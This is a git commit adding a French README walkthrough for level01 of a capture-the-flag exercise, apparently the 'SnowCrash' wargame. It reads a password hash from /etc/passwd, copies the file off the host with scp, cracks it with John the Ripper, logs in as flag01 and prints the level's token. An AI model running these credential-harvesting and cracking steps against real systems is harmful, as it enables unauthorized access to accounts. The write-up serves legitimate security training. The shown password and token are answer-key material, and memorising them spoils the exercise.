docs(lvl01): adding the readme for level01

level01/README.md

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+Le mot de passe du compte `level01` n'est pas donne mais est bien exitstant
+
+```bash
+groups level01
+level01 : level01 users
+```
+
+En cherchant la connection je regarde sur le fichier system `/etc/passwd`
+
+###### Voici uniquement la partie interessante (avec la commande complete)
+```bash
+cat /etc/passwd | sed 's/:/ /g' | awk '{print $1, $2}' | grep '01'
+level01 x
+flag01 42hDRfypTqqnw
+```
+
+et tombe donc sur un hash de mot de passe dans le fichier /etc/passwd je decide donc le copier avec scp sur mon laptop
+```bash
+scp -P 4242 level00@localhost:/etc/passwd .
+	  / ____|                    / ____|             | |
+	 | (___  _ __   _____      _| |     _ __ __ _ ___| |__
+	  \___ \| '_ \ / _ \ \ /\ / / |    | '__/ _` / __| '_ \
+	  ____) | | | | (_) \ V  V /| |____| | | (_| \__ \ | | |
+	 |_____/|_| |_|\___/ \_/\_/  \_____|_|  \__,_|___/_| |_|
+
+  Good luck & Have fun
+
+level00@localhost's password:
+passwd                                                 100% 2477   597.9KB/s   00:00
+
+
+ll
+Permissions Size User    Date Modified Name
+.rw-r--r--@ 2.5k raphael 26 Jan 15:57   passwd
+
+```
+
+John ne fonctionnant pas sur notre session a cause du flag00 alors nous allons faire utliser sur mon laptop
+```bash
+john ./passwd
+Warning: detected hash type "descrypt", but the string is also recognized as "descrypt-opencl"
+Use the "--format=descrypt-opencl" option to force loading these as that type instead
+Using default input encoding: UTF-8
+Loaded 1 password hash (descrypt, traditional crypt(3) [DES 128/128 ASIMD])
+Proceeding with single, rules:Single
+Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
+Warning: Only 126 candidates buffered for the current salt, minimum 128 needed for performance.
+Almost done: Processing the remaining buffered candidate passwords, if any.
+0g 0:00:00:00 DONE 1/3 (2026-01-26 15:57) 0g/s 70200p/s 70200c/s 70200C/s Flag0168..Flag0159
+Proceeding with wordlist:/nix/store/sjnlaf0f50sb5p9l93rvlqfhi7xzjpvm-john-rolling-2404/share/john/password.lst
+Enabling duplicate candidate password suppressor
+abcdefg          (flag01)
+1g 0:00:00:00 DONE 2/3 (2026-01-26 15:57) 33.33g/s 49000p/s 49000c/s 49000C/s raquel..bigman
+Use the "--show" option to display all of the cracked passwords reliably
+Session completed.
+
+
+john ./passwd --show
+flag01:abcdefg:3001:3001::/home/flag/flag01:/bin/bash
+
+1 password hash cracked, 0 left
+```
+
+Et la connection et maintenant possible et je peux lancer
+```bash
+su flag01
+Password:
+Don't forget to launch getflag !
+
+
+getflag
+Check flag.Here is your token : f2av5il02puano7naaf6adaaf
+```